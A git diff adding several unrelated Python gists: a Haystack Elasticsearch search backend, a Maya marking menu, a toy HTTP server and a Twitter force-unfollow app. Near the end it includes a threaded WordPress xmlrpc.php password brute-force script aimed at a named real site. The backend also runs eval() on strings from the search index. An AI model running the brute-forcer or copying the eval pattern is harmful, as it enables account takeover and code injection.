+                            narrow_queries=None, spelling_query=None,
+                            within=None, dwithin=None, distance_point=None,
+                            models=None, limit_to_registered_models=None,
+                            result_class=None):
+        index = haystack.connections[self.connection_alias].get_unified_index()
+        content_field = index.document_field
+
+        if query_string == '*:*':
+            kwargs = {
+                'query': {
+                    "match_all": {}
+                },
+            }
+        else:
+            kwargs = {
+                'query': {
+                    'query_string': {
+                        'default_field': content_field,
+                        'default_operator': DEFAULT_OPERATOR,
+                        'query': query_string,
+                        'analyze_wildcard': True,
+                        'auto_generate_phrase_queries': True,
+                    },
+                },
+            }
+
+        # so far, no filters
+        filters = []
+
+        if fields:
+            kwargs['fields'] = list(fields)
+
+        if sort_by is not None:
+            order_list = []
+            for field, direction in sort_by:
+                if field == 'distance' and distance_point:
+                    # Do the geo-enabled sort.
+                    lng, lat = distance_point['point'].get_coords()
+                    sort_kwargs = {
+                        "_geo_distance": {
+                            distance_point['field']: [lng, lat],
+                            "order": direction,
+                            "unit": "km"
+                        }
+                    }
+                else:
+                    if field == 'distance':
+                        warnings.warn("In order to sort by distance, you must call the '.distance(...)' method.")
+
+                    # Regular sorting.
+                    ## TODO: From Phill, consider the change we'd picked from another bug:
+                    ## sort_kwargs = {field: {'order': direction, 'missing' : '_last' , 'ignore_unmapped' : True}}
+                    ## (it mattered when sorting on fields that didn't exist on all models)
+
+                    sort_kwargs = {field: {'order': direction}}
+
+                order_list.append(sort_kwargs)
+
+            kwargs['sort'] = order_list
+
+        # From/size offsets don't seem to work right in Elasticsearch's DSL. :/
+        # if start_offset is not None:
+        #     kwargs['from'] = start_offset
+
+        # if end_offset is not None:
+        #     kwargs['size'] = end_offset - start_offset
+
+        if highlight is True:
+            kwargs['highlight'] = {
+                'fields': {
+                    content_field: {'store': 'yes'},
+                }
+            }
+
+        if self.include_spelling:
+            kwargs['suggest'] = {
+                'suggest': {
+                    'text': spelling_query or query_string,
+                    'term': {
+                        # Using content_field here will result in suggestions of stemmed words.
+                        'field': '_all',
+                    },
+                },
+            }
+
+        if narrow_queries is None:
+            narrow_queries = set()
+
+        if facets is not None:
+            kwargs.setdefault('facets', {})
+
+            for facet_fieldname, extra_options in facets.items():
+                facet_options = {
+                    'terms': {
+                        'field': facet_fieldname,
+                        'size': 100,
+                    },
+                }
+                # Special cases for options applied at the facet level (not the terms level).
+                if extra_options.pop('global_scope', False):
+                    # Renamed "global_scope" since "global" is a python keyword.
+                    facet_options['global'] = True
+                if 'facet_filter' in extra_options:
+                    facet_options['facet_filter'] = extra_options.pop('facet_filter')
+                facet_options['terms'].update(extra_options)
+                kwargs['facets'][facet_fieldname] = facet_options
+
+        if date_facets is not None:
+            kwargs.setdefault('facets', {})
+
+            for facet_fieldname, value in date_facets.items():
+                # Need to detect on gap_by & only add amount if it's more than one.
+                interval = value.get('gap_by').lower()
+
+                # Need to detect on amount (can't be applied on months or years).
+                if value.get('gap_amount', 1) != 1 and not interval in ('month', 'year'):
+                    # Just the first character is valid for use.
+                    interval = "%s%s" % (value['gap_amount'], interval[:1])
+
+                kwargs['facets'][facet_fieldname] = {
+                    'date_histogram': {
+                        'field': facet_fieldname,
+                        'interval': interval,
+                    },
+                    'facet_filter': {
+                        "range": {
+                            facet_fieldname: {
+                                'from': self._from_python(value.get('start_date'), for_query=True),
+                                'to': self._from_python(value.get('end_date'), for_query=True),
+                            }
+                        }
+                    }
+                }
+
+        if query_facets is not None:
+            kwargs.setdefault('facets', {})
+
+            for facet_fieldname, value in query_facets:
+                kwargs['facets'][facet_fieldname] = {
+                    'query': {
+                        'query_string': {
+                            'query': value,
+                        }
+                    },
+                }
+
+        if limit_to_registered_models is None:
+            limit_to_registered_models = getattr(settings, 'HAYSTACK_LIMIT_TO_REGISTERED_MODELS', True)
+
+        if models and len(models):
+            model_choices = [self.get_es_type(model) for model in models]
+        elif limit_to_registered_models:
+            # Using narrow queries, limit the results to only models handled
+            # with the current routers.
+            model_choices = self.build_models_list()
+        else:
+            model_choices = []
+
+        if len(model_choices) > 0:
+
+            if narrow_queries is None:
+                narrow_queries = set()
+
+            # we could put these in the url but it's equivalent to the terms filter which is easier
+            filters.append({"terms": {'_type': model_choices}})
+
+        for q in narrow_queries:
+            filters.append({
+                'fquery': {
+                    'query': {
+                        'query_string': {
+                            'query': q
+                        },
+                    },
+                    '_cache': True,
+                }
+            })
+
+        if within is not None:
+            from haystack.utils.geo import generate_bounding_box
+
+            ((south, west), (north, east)) = generate_bounding_box(within['point_1'], within['point_2'])
+            within_filter = {
+                "geo_bounding_box": {
+                    within['field']: {
+                        "top_left": {
+                            "lat": north,
+                            "lon": west
+                        },
+                        "bottom_right": {
+                            "lat": south,
+                            "lon": east
+                        }
+                    }
+                },
+            }
+            filters.append(within_filter)
+
+        if dwithin is not None:
+            lng, lat = dwithin['point'].get_coords()
+            dwithin_filter = {
+                "geo_distance": {
+                    "distance": dwithin['distance'].km,
+                    dwithin['field']: {
+                        "lat": lat,
+                        "lon": lng
+                    }
+                }
+            }
+            filters.append(dwithin_filter)
+
+        # if we want to filter, change the query type to filteres
+        if filters:
+            kwargs["query"] = {"filtered": {"query": kwargs.pop("query")}}
+            if len(filters) == 1:
+                kwargs['query']['filtered']["filter"] = filters[0]
+            else:
+                kwargs['query']['filtered']["filter"] = {"bool": {"must": filters}}
+
+        return kwargs
+
+    @log_query
+    def search(self, query_string, **kwargs):
+        if len(query_string) == 0:
+            return {
+                'results': [],
+                'hits': 0,
+            }
+
+        if not self.setup_complete:
+            self.setup()
+
+        search_kwargs = self.build_search_kwargs(query_string, **kwargs)
+        search_kwargs['from'] = kwargs.get('start_offset', 0)
+
+        order_fields = set()
+        for order in search_kwargs.get('sort', []):
+            for key in order.keys():
+                order_fields.add(key)
+
+        geo_sort = '_geo_distance' in order_fields
+
+        end_offset = kwargs.get('end_offset')
+        start_offset = kwargs.get('start_offset', 0)
+        if end_offset is not None and end_offset > start_offset:
+            search_kwargs['size'] = end_offset - start_offset
+
+        try:
+            raw_results = self.conn.search(body=search_kwargs, index=self.index_name)
+        except elasticsearch.TransportError as e:
+            if not self.silently_fail:
+                raise
+
+            self.log.error("Failed to query Elasticsearch using '%s': %s", query_string, e)
+            raw_results = {}
+
+        return self._process_results(raw_results,
+            highlight=kwargs.get('highlight'),
+            result_class=kwargs.get('result_class', SearchResult),
+            distance_point=kwargs.get('distance_point'), geo_sort=geo_sort)
+
+    def more_like_this(self, model_instance, additional_query_string=None,
+                       start_offset=0, end_offset=None, models=None,
+                       limit_to_registered_models=None, result_class=None, **kwargs):
+        from haystack import connections
+
+        if not self.setup_complete:
+            self.setup()
+
+        # Deferred models will have a different class ("RealClass_Deferred_fieldname")
+        # which won't be in our registry:
+        model_klass = model_instance._meta.concrete_model
+
+        index = connections[self.connection_alias].get_unified_index().get_index(model_klass)
+        field_name = index.get_content_field()
+        params = {}
+
+        if start_offset is not None:
+            params['search_from'] = start_offset
+
+        if end_offset is not None:
+            params['search_size'] = end_offset - start_offset
+
+        doc_type, doc_id = self.get_type_and_id(model_instance)
+
+        try:
+            raw_results = self.conn.mlt(index=self.index_name, doc_type=doc_type, id=doc_id, mlt_fields=[field_name], **params)
+        except elasticsearch.TransportError as e:
+            if not self.silently_fail:
+                raise
+
+            self.log.error("Failed to fetch More Like This from Elasticsearch for document '%s': %s", doc_id, e)
+            raw_results = {}
+
+        return self._process_results(raw_results, result_class=result_class)
+
+    def _process_results(self, raw_results, highlight=False,
+                         result_class=None, distance_point=None,
+                         geo_sort=False):
+        from haystack import connections
+        results = []
+        hits = raw_results.get('hits', {}).get('total', 0)
+        facets = {}
+        spelling_suggestion = None
+
+        if result_class is None:
+            result_class = SearchResult
+
+        if self.include_spelling and 'suggest' in raw_results:
+            raw_suggest = raw_results['suggest'].get('suggest')
+            if raw_suggest:
+                spelling_suggestion = ' '.join([word['text'] if len(word['options']) == 0 else word['options'][0]['text'] for word in raw_suggest])
+
+        if 'facets' in raw_results:
+            facets = {
+                'fields': {},
+                'dates': {},
+                'queries': {},
+            }
+
+            for facet_fieldname, facet_info in raw_results['facets'].items():
+                if facet_info.get('_type', 'terms') == 'terms':
+                    facets['fields'][facet_fieldname] = [(individual['term'], individual['count']) for individual in facet_info['terms']]
+                elif facet_info.get('_type', 'terms') == 'date_histogram':
+                    # Elasticsearch provides UTC timestamps with an extra three
+                    # decimals of precision, which datetime barfs on.
+                    facets['dates'][facet_fieldname] = [(datetime.datetime.utcfromtimestamp(individual['time'] / 1000), individual['count']) for individual in facet_info['entries']]
+                elif facet_info.get('_type', 'terms') == 'query':
+                    facets['queries'][facet_fieldname] = facet_info['count']
+
+        unified_index = connections[self.connection_alias].get_unified_index()
+        indexed_models = unified_index.get_indexed_models()
+        content_field = unified_index.document_field
+
+        for raw_result in raw_results.get('hits', {}).get('hits', []):
+
+            result_type         = raw_result['_type']
+            app_model_delim_idx = result_type.rfind('_')
+
+            app_label  = result_type[:app_model_delim_idx]
+            model_name = result_type[app_model_delim_idx+1:]
+
+            model      = get_model(app_label, model_name)
+
+            if model and model in indexed_models:
+                
+                index = unified_index.get_index(model)
+
+                # Look for _source, then _fields in case this was a values_list query
+                if '_source' in raw_result:
+                    source = raw_result['_source']
+
+                elif 'fields' in raw_result:
+                    # _source wasn't requested, but we have fields, so this was a 
+                    # values_list query. All Elasticsearch's fields results are lists
+                    # so we'll need to fix that for anything that isn't multivalued
+                    raw_fields = raw_result['fields']
+                    for field in raw_fields:
+                        # This breaks multi-value fields when they have one value, so gotta
+                        # sort out a fix
+                        if field in index.fields and index.fields[field].is_multivalued:
+                            # leave this as a list
+                            continue
+                        else:
+                            raw_fields[field] = raw_fields[field][0]
+
+                    source = raw_fields
+            
+                additional_fields = {}
+                for key, value in source.items():
+                    string_key = str(key)
+
+                    if string_key in index.fields and hasattr(index.fields[string_key], 'convert'):
+                        additional_fields[string_key] = index.fields[string_key].convert(value)
+                    else:
+                        additional_fields[string_key] = self._to_python(value)
+
+                if DJANGO_CT in additional_fields:
+                    del(additional_fields[DJANGO_CT])
+
+                if DJANGO_ID in additional_fields:
+                    del(additional_fields[DJANGO_ID])
+
+                if 'highlight' in raw_result:
+                    additional_fields['highlighted'] = raw_result['highlight'].get(content_field, '')
+
+                if distance_point:
+                    additional_fields['_point_of_origin'] = distance_point
+
+                    if geo_sort and raw_result.get('sort'):
+                        from haystack.utils.geo import Distance
+                        additional_fields['_distance'] = Distance(km=float(raw_result['sort'][0]))
+                    else:
+                        additional_fields['_distance'] = None
+
+                result = result_class(app_label, model_name, source[DJANGO_ID], raw_result['_score'], **additional_fields)
+                results.append(result)
+            else:
+                hits -= 1
+
+        return {
+            'results': results,
+            'hits': hits,
+            'facets': facets,
+            'spelling_suggestion': spelling_suggestion,
+        }
+
+    def build_schema(self, fields):
+        content_field_name = ''
+        mapping = {
+            DJANGO_CT: {'type': 'string', 'index': 'not_analyzed', 'include_in_all': False},
+            DJANGO_ID: {'type': 'string', 'index': 'not_analyzed', 'include_in_all': False},
+        }
+
+        for field_name, field_class in fields.items():
+            field_mapping = FIELD_MAPPINGS.get(field_class.field_type, DEFAULT_FIELD_MAPPING).copy()
+            if field_class.boost != 1.0:
+                field_mapping['boost'] = field_class.boost
+
+            if field_class.document is True:
+                content_field_name = field_class.index_fieldname
+
+            # Do this last to override `text` fields.
+            if field_mapping['type'] == 'string':
+                if field_class.indexed is False or hasattr(field_class, 'facet_for'):
+                    field_mapping['index'] = 'not_analyzed'
+                    del field_mapping['analyzer']
+
+            mapping[field_class.index_fieldname] = field_mapping
+
+        return (content_field_name, mapping)
+
+    def _iso_datetime(self, value):
+        """
+        If value appears to be something datetime-like, return it in ISO format.
+
+        Otherwise, return None.
+        """
+        if hasattr(value, 'strftime'):
+            if hasattr(value, 'hour'):
+                return value.isoformat()
+            else:
+                return '%sT00:00:00' % value.isoformat()
+
+    def _from_python(self, value, for_query=False):
+        """
+         Converts python data types into values digestable for 
+         Documents being sent to ES or literals used in queries.
+        """
+
+        iso = self._iso_datetime(value)
+        if iso:
+            return iso
+        elif isinstance(value, six.binary_type):
+            # TODO: Be stricter.
+            return six.text_type(value, errors='replace')
+        elif isinstance(value, bool) and for_query:
+            # We only want to turn booleans into strings for building
+            # query syntax, not for pushing documents
+            return str(value).lower()  # cheap json-ing
+        elif isinstance(value, set):
+            return list(value)
+        return value
+
+    def _to_python(self, value):
+        """Convert values from ElasticSearch to native Python values."""
+        if isinstance(value, (int, float, complex, list, tuple, bool)):
+            return value
+
+        if isinstance(value, six.string_types):
+            possible_datetime = DATETIME_REGEX.search(value)
+
+            if possible_datetime:
+                date_values = possible_datetime.groupdict()
+
+                for dk, dv in date_values.items():
+                    date_values[dk] = int(dv)
+
+                return datetime.datetime(
+                    date_values['year'], date_values['month'],
+                    date_values['day'], date_values['hour'],
+                    date_values['minute'], date_values['second'])
+
+        try:
+            # This is slightly gross but it's hard to tell otherwise what the
+            # string's original type might have been. Be careful who you trust.
+            converted_value = eval(value)
+
+            # Try to handle most built-in types.
+            if isinstance(
+                    converted_value,
+                    (int, list, tuple, set, dict, float, complex)):
+                return converted_value
+        except Exception:
+            # If it fails (SyntaxError or its ilk) or we don't trust it,
+            # continue on.
+            pass
+
+        return value
+
+# DRL_FIXME: Perhaps move to something where, if none of these
+#            match, call a custom method on the form that returns, per-backend,
+#            the right type of storage?
+DEFAULT_FIELD_MAPPING = {'type': 'string', 'analyzer': 'snowball'}
+FIELD_MAPPINGS = {
+    'edge_ngram': {'type': 'string', 'index_analyzer': 'edgengram_analyzer', 'search_analyzer': 'standard'},
+    'ngram':      {'type': 'string', 'index_analyzer': 'edgengram_analyzer', 'search_analyzer': 'standard'},
+    'date':       {'type': 'date'},
+    'datetime':   {'type': 'date'},
+
+    'location':   {'type': 'geo_point'},        
+    'boolean':    {'type': 'boolean'},
+    'float':      {'type': 'float'},
+    'long':       {'type': 'long'},
+    'integer':    {'type': 'long'},
+
+    'string_ci' : {'type': 'string', 'index_analyzer': 'case_insensitive_phrase', 'search_analyzer': 'case_insensitive_phrase'},
+}
+
+
+# Sucks that this is almost an exact copy of what's in the Solr backend,
+# but we can't import due to dependencies.
+class ElasticsearchSearchQuery(BaseSearchQuery):
+    def matching_all_fragment(self):
+        return '*:*'
+
+    def add_spatial(self, lat, lon, sfield, distance, filter='bbox'):
+        """Adds spatial query parameters to search query"""
+        kwargs = {
+            'lat': lat,
+            'long': long,
+            'sfield': sfield,
+            'distance': distance,
+        }
+        self.spatial_query.update(kwargs)
+
+    def add_order_by_distance(self, lat, long, sfield):
+        """Orders the search result by distance from point."""
+        kwargs = {
+            'lat': lat,
+            'long': long,
+            'sfield': sfield,
+        }
+        self.order_by_distance.update(kwargs)
+
+    def build_query_fragment(self, field, filter_type, value):
+        from haystack import connections
+        query_frag = ''
+
+        if not hasattr(value, 'input_type_name'):
+            # Handle when we've got a ``ValuesListQuerySet``...
+            if hasattr(value, 'values_list'):
+                value = list(value)
+
+            if isinstance(value, six.string_types):
+                # It's not an ``InputType``. Assume ``Clean``.
+                value = Clean(value)
+            else:
+                value = PythonData(value)
+
+        # Prepare the query using the InputType.
+        prepared_value = value.prepare(self)
+
+        if not isinstance(prepared_value, (set, list, tuple)):
+            # Then convert whatever we get back to what elasticsearch wants if needed.
+            prepared_value = self.backend._from_python(prepared_value, for_query=True)
+
+        # 'content' is a special reserved word, much like 'pk' in
+        # Django's ORM layer. It indicates 'no special field'.
+        if field == 'content':
+            index_fieldname = ''
+        else:
+            index_fieldname = u'%s:' % connections[self._using].get_unified_index().get_index_fieldname(field)
+
+        filter_types = {
+            'contains': u'%s',
+            'startswith': u'%s*',
+            'exact': u'%s',
+            'gt': u'{%s TO *}',
+            'gte': u'[%s TO *]',
+            'lt': u'{* TO %s}',
+            'lte': u'[* TO %s]',
+        }
+
+        if value.post_process is False:
+            query_frag = prepared_value
+        else:
+            if filter_type in ['contains', 'startswith']:
+                if value.input_type_name == 'exact':
+                    query_frag = prepared_value
+                else:
+                    # Iterate over terms & incorporate the converted form of each into the query.
+                    terms = []
+
+                    if isinstance(prepared_value, six.string_types):
+                        for possible_value in prepared_value.split(' '):
+                            terms.append(filter_types[filter_type] % self.backend._from_python(possible_value, for_query=True))
+                    else:
+                        terms.append(filter_types[filter_type] % self.backend._from_python(prepared_value, for_query=True))
+
+                    if len(terms) == 1:
+                        query_frag = terms[0]
+                    else:
+                        query_frag = u"(%s)" % " AND ".join(terms)
+            elif filter_type == 'in':
+                in_options = []
+                if len(prepared_value) >= 500:
+                    from elation.util.exception import log_warning
+                    log_warning(msg="Found %s values in an ES IN clause" % (len(prepared_value),))
+                for possible_value in prepared_value:
+                    in_options.append(u'"%s"' % self.backend._from_python(possible_value, for_query=True))
+
+                query_frag = u"(%s)" % " OR ".join(in_options)
+            elif filter_type == 'range':
+                start = self.backend._from_python(prepared_value[0], for_query=True)
+                end = self.backend._from_python(prepared_value[1], for_query=True)
+                query_frag = u'["%s" TO "%s"]' % (start, end)
+            elif filter_type == 'exact':
+                if value.input_type_name == 'exact':
+                    query_frag = prepared_value
+                else:
+                    prepared_value = Exact(prepared_value).prepare(self)
+                    query_frag = filter_types[filter_type] % prepared_value
+            else:
+                if value.input_type_name != 'exact':
+                    prepared_value = Exact(prepared_value).prepare(self)
+
+                query_frag = filter_types[filter_type] % prepared_value
+
+        if len(query_frag) and not isinstance(value, Raw):
+            if not query_frag.startswith('(') and not query_frag.endswith(')'):
+                query_frag = "(%s)" % query_frag
+
+        return u"%s%s" % (index_fieldname, query_frag)
+
+    def build_alt_parser_query(self, parser_name, query_string='', **kwargs):
+        if query_string:
+            kwargs['v'] = query_string
+
+        kwarg_bits = []
+
+        for key in sorted(kwargs.keys()):
+            if isinstance(kwargs[key], six.string_types) and ' ' in kwargs[key]:
+                kwarg_bits.append(u"%s='%s'" % (key, kwargs[key]))
+            else:
+                kwarg_bits.append(u"%s=%s" % (key, kwargs[key]))
+
+        return u"{!%s %s}" % (parser_name, ' '.join(kwarg_bits))
+
+    def build_params(self, spelling_query=None, **kwargs):
+        search_kwargs = {
+            'start_offset': self.start_offset,
+            'result_class': self.result_class
+        }
+        order_by_list = None
+
+        if self.order_by:
+            if order_by_list is None:
+                order_by_list = []
+
+            for field in self.order_by:
+                direction = 'asc'
+                if field.startswith('-'):
+                    direction = 'desc'
+                    field = field[1:]
+                
+                order_by_list.append((field, direction))
+
+            search_kwargs['sort_by'] = order_by_list
+
+        if self.date_facets:
+            search_kwargs['date_facets'] = self.date_facets
+
+        if self.distance_point:
+            search_kwargs['distance_point'] = self.distance_point
+
+        if self.dwithin:
+            search_kwargs['dwithin'] = self.dwithin
+
+        if self.end_offset is not None:
+            search_kwargs['end_offset'] = self.end_offset
+
+        if self.facets:
+            search_kwargs['facets'] = self.facets
+
+        if self.fields:
+            search_kwargs['fields'] = self.fields
+
+        if self.highlight:
+            search_kwargs['highlight'] = self.highlight
+
+        if self.models:
+            search_kwargs['models'] = self.models
+
+        if self.narrow_queries:
+            search_kwargs['narrow_queries'] = self.narrow_queries
+
+        if self.query_facets:
+            search_kwargs['query_facets'] = self.query_facets
+
+        if self.within:
+            search_kwargs['within'] = self.within
+
+        if spelling_query:
+            search_kwargs['spelling_query'] = spelling_query
+
+        return search_kwargs
+
+    def run(self, spelling_query=None, **kwargs):
+        """Builds and executes the query. Returns a list of search results."""
+        final_query = self.build_query()
+        search_kwargs = self.build_params(spelling_query, **kwargs)
+
+        if kwargs:
+            search_kwargs.update(kwargs)
+
+        results = self.backend.search(final_query, **search_kwargs)
+        self._results = results.get('results', [])
+        self._hit_count = results.get('hits', 0)
+        self._facet_counts = self.post_process_facets(results)
+        self._spelling_suggestion = results.get('spelling_suggestion', None)
+
+    def run_mlt(self, **kwargs):
+        """Builds and executes the query. Returns a list of search results."""
+        if self._more_like_this is False or self._mlt_instance is None:
+            raise MoreLikeThisError("No instance was provided to determine 'More Like This' results.")
+
+        additional_query_string = self.build_query()
+        search_kwargs = {
+            'start_offset': self.start_offset,
+            'result_class': self.result_class,
+            'models': self.models
+        }
+
+        if self.end_offset is not None:
+            search_kwargs['end_offset'] = self.end_offset - self.start_offset
+
+        results = self.backend.more_like_this(self._mlt_instance, additional_query_string, **search_kwargs)
+        self._results = results.get('results', [])
+        self._hit_count = results.get('hits', 0)
+
+
+class ElasticsearchSearchEngine(BaseEngine):
+    backend = ElasticsearchSearchBackend
+    query = ElasticsearchSearchQuery
diff --git a/hard-gists/cdf79835a0e30a9cbdeaaf2eb4151077/._snippet.py b/hard-gists/cdf79835a0e30a9cbdeaaf2eb4151077/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/cdf79835a0e30a9cbdeaaf2eb4151077/._snippet.py differ
diff --git a/hard-gists/cdf79835a0e30a9cbdeaaf2eb4151077/snippet.py b/hard-gists/cdf79835a0e30a9cbdeaaf2eb4151077/snippet.py
new file mode 100644
index 00000000..9efc0163
--- /dev/null
+++ b/hard-gists/cdf79835a0e30a9cbdeaaf2eb4151077/snippet.py
@@ -0,0 +1,73 @@
+'''A simple example of a custom marking menu in Maya. The benefits of doing it this way with Python are that 
+it is very flexible and easily maintainable. Additionally, you can keep it in a version control system.
+
+
+This file is used for demonstration purposes, to be followed along with in this blog post
+
+http://bindpose.com/custom-marking-menu-maya-python/
+'''
+import maya.cmds as mc
+
+MENU_NAME = "markingMenu"
+
+
+class markingMenu():
+    '''The main class, which encapsulates everything we need to build and rebuild our marking menu. All
+    that is done in the constructor, so all we need to do in order to build/update our marking menu is
+    to initialize this class.'''
+
+    def __init__(self):
+
+        self._removeOld()
+        self._build()
+
+    def _build(self):
+        '''Creates the marking menu context and calls the _buildMarkingMenu() method to populate it with all items.'''
+        menu = mc.popupMenu(MENU_NAME, mm=1, b=2, aob=1, ctl=1, alt=1, sh=0, p="viewPanes", pmo=1, pmc=self._buildMarkingMenu)
+
+    def _removeOld(self):
+        '''Checks if there is a marking menu with the given name and if so deletes it to prepare for creating a new one.
+        We do this in order to be able to easily update our marking menus.'''
+        if mc.popupMenu(MENU_NAME, ex=1):
+            mc.deleteUI(MENU_NAME)
+
+    def _buildMarkingMenu(self, menu, parent):
+        '''This is where all the elements of the marking menu our built.'''
+
+        # Radial positioned
+        mc.menuItem(p=menu, l="South West Button", rp="SW", c="print 'SouthWest'")
+        mc.menuItem(p=menu, l="South East Button", rp="SE", c=exampleFunction)
+        mc.menuItem(p=menu, l="North East Button", rp="NE", c="mc.circle()")
+
+        subMenu = mc.menuItem(p=menu, l="North Sub Menu", rp="N", subMenu=1)
+        mc.menuItem(p=subMenu, l="North Sub Menu Item 1")
+        mc.menuItem(p=subMenu, l="North Sub Menu Item 2")
+
+        mc.menuItem(p=menu, l="South", rp="S", c="print 'South'")
+        mc.menuItem(p=menu, ob=1, c="print 'South with Options'")
+
+        # List
+        mc.menuItem(p=menu, l="First menu item")
+        mc.menuItem(p=menu, l="Second menu item")
+        mc.menuItem(p=menu, l="Third menu item")
+        mc.menuItem(p=menu, l="Create poly cube", c="mc.polyCube()")
+
+        # Rebuild
+        mc.menuItem(p=menu, l="Rebuild Marking Menu", c=rebuildMarkingMenu)
+
+markingMenu()
+
+
+def exampleFunction(*args):
+    '''Example function to demonstrate how to pass functions to menuItems'''
+    print "example function"
+
+
+def rebuildMarkingMenu(*args):
+    '''This function assumes that this file has been imported in the userSetup.py
+    and all it does is reload the module and initialize the markingMenu class which
+    rebuilds our marking menu'''
+    mc.evalDeferred("""
+reload(markingMenu)
+markingMenu.markingMenu()
+""")
diff --git a/hard-gists/ce5ebb37390ab0ae56c9e6e80128fdc2/._snippet.py b/hard-gists/ce5ebb37390ab0ae56c9e6e80128fdc2/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ce5ebb37390ab0ae56c9e6e80128fdc2/._snippet.py differ
diff --git a/hard-gists/ce5ebb37390ab0ae56c9e6e80128fdc2/snippet.py b/hard-gists/ce5ebb37390ab0ae56c9e6e80128fdc2/snippet.py
new file mode 100644
index 00000000..be1deedd
--- /dev/null
+++ b/hard-gists/ce5ebb37390ab0ae56c9e6e80128fdc2/snippet.py
@@ -0,0 +1,52 @@
+import time
+from http.server import BaseHTTPRequestHandler, HTTPServer
+
+HOST_NAME = 'localhost'
+PORT_NUMBER = 9000
+
+
+class MyHandler(BaseHTTPRequestHandler):
+    def do_HEAD(self):
+        self.send_response(200)
+        self.send_header('Content-type', 'text/html')
+        self.end_headers()
+
+    def do_GET(self):
+        paths = {
+            '/foo': {'status': 200},
+            '/bar': {'status': 302},
+            '/baz': {'status': 404},
+            '/qux': {'status': 500}
+        }
+
+        if self.path in paths:
+            self.respond(paths[self.path])
+        else:
+            self.respond({'status': 500})
+
+    def handle_http(self, status_code, path):
+        self.send_response(status_code)
+        self.send_header('Content-type', 'text/html')
+        self.end_headers()
+        content = '''
+        <html><head><title>Title goes here.</title></head>
+        <body><p>This is a test.</p>
+        <p>You accessed path: {}</p>
+        </body></html>
+        '''.format(path)
+        return bytes(content, 'UTF-8')
+
+    def respond(self, opts):
+        response = self.handle_http(opts['status'], self.path)
+        self.wfile.write(response)
+
+if __name__ == '__main__':
+    server_class = HTTPServer
+    httpd = server_class((HOST_NAME, PORT_NUMBER), MyHandler)
+    print(time.asctime(), 'Server Starts - %s:%s' % (HOST_NAME, PORT_NUMBER))
+    try:
+        httpd.serve_forever()
+    except KeyboardInterrupt:
+        pass
+    httpd.server_close()
+    print(time.asctime(), 'Server Stops - %s:%s' % (HOST_NAME, PORT_NUMBER))
\ No newline at end of file
diff --git a/hard-gists/ce648166902041fbc613/._snippet.py b/hard-gists/ce648166902041fbc613/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/ce648166902041fbc613/._snippet.py differ
diff --git a/hard-gists/ce648166902041fbc613/snippet.py b/hard-gists/ce648166902041fbc613/snippet.py
new file mode 100644
index 00000000..54c8b73c
--- /dev/null
+++ b/hard-gists/ce648166902041fbc613/snippet.py
@@ -0,0 +1,80 @@
+# internal
+import time
+
+# external
+import flask
+from twython import Twython
+
+# local
+from env import ENV
+
+
+#INITS
+
+# flask application
+app = flask.Flask(__name__)
+app.config['URL'] = ENV['URL']
+app.config['SECRET_KEY'] = ENV['SECRET_KEY']
+
+# twython object
+twitter = Twython(
+    ENV['API_KEY'],
+    ENV['API_SECRET'],
+)
+
+
+# FUNCTIONS
+
+def force_unfollow_fans(twitter):
+    '''
+    fans == people that follow you that you dont follow back
+
+    we block and them unblock them to force an unfollow
+    '''
+    user_name = twitter.verify_credentials()['screen_name']
+    followers = twitter.get_followers_ids()['ids']
+    following = twitter.get_friends_ids()['ids']
+    fans = set(followers) - set(following)
+
+    for fan in fans:
+        fan_name = twitter.lookup_user(user_id=fan)[0]['screen_name']
+        twitter.create_block(user_id=fan)
+        twitter.destroy_block(user_id=fan)
+        print('@{} force unfollowed @{}'.format(user_name, fan_name))
+        time.sleep(10) # to avoid going too far past the rate limit
+
+
+# ROUTES
+
+@app.route('/')
+def index():
+    return 'go to /login'
+
+@app.route('/login')
+def login():
+    auth = twitter.get_authentication_tokens(callback_url=ENV['URL']+'/callback')
+    flask.session['oauth_token']        = auth['oauth_token']
+    flask.session['oauth_token_secret'] = auth['oauth_token_secret']
+    return flask.redirect(auth['auth_url'])
+
+@app.route('/callback')
+def callback():
+    twitter = Twython(
+        ENV['API_KEY'],
+        ENV['API_SECRET'],
+        flask.session['oauth_token'],
+        flask.session['oauth_token_secret'],
+    )
+    auth_creds = twitter.get_authorized_tokens(flask.request.args['oauth_verifier'])
+    twitter = Twython(
+        ENV['API_KEY'],
+        ENV['API_SECRET'],
+        auth_creds['oauth_token'],
+        auth_creds['oauth_token_secret'],
+    )
+    force_unfollow_fans(twitter)
+    return 'done!'
+
+
+if __name__ == '__main__':
+    app.run(debug=True, port=int(ENV['PORT']))
diff --git a/hard-gists/cf2b4e56fe28835c3ceb/._snippet.py b/hard-gists/cf2b4e56fe28835c3ceb/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/cf2b4e56fe28835c3ceb/._snippet.py differ
diff --git a/hard-gists/cf2b4e56fe28835c3ceb/snippet.py b/hard-gists/cf2b4e56fe28835c3ceb/snippet.py
new file mode 100644
index 00000000..6e745473
--- /dev/null
+++ b/hard-gists/cf2b4e56fe28835c3ceb/snippet.py
@@ -0,0 +1,36 @@
+import futures
+import requests
+from Queue import Queue
+
+XML_URL = "http://www.freebuf.com/xmlrpc.php"
+USER_FILE = "username.txt"
+PASS_FILE = "password.txt"
+THREAD_NUM = 20
+
+data = """<?xml version="1.0" encoding="UTF-8"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>%s</value></param><param><value>%s</value></param></params></methodCall>"""
+task = Queue()
+
+
+def attack():
+    while not task.empty():
+        username = task.get()
+        pass_txt = open(PASS_FILE)
+        for password in pass_txt:
+            req = requests.post(XML_URL, data=data % (username, password.rstrip("\n")))
+            if 'isadmin' in req.text:
+                print "[+] username = " + username + " password = " + password
+                break
+        print "[-] username %s finished" % username
+
+
+def main():
+    user_txt = open(USER_FILE)
+    for username in user_txt:
+        task.put(username.rstrip("\n"))
+    executor = futures.ThreadPoolExecutor(max_workers=THREAD_NUM)
+    for i in range(THREAD_NUM):
+        executor.submit(attack)
+    executor.shutdown()
+
+if __name__ == "__main__":
+    main()
diff --git a/hard-gists/cf4b324f8955bc56ce0ff9399d9fdea6/._snippet.py b/hard-gists/cf4b324f8955bc56ce0ff9399d9fdea6/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/cf4b324f8955bc56ce0ff9399d9fdea6/._snippet.py differ
